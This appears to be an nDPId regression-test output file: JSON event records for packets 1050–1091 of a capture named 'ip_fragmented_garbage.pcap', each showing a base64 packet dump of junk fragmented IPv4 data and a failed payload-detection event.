+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610663,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610698,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610707,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610714,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610723,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610733,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610742,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610764,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610778,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610790,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610849,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610859,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610869,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610895,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610921,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610930,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611010,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 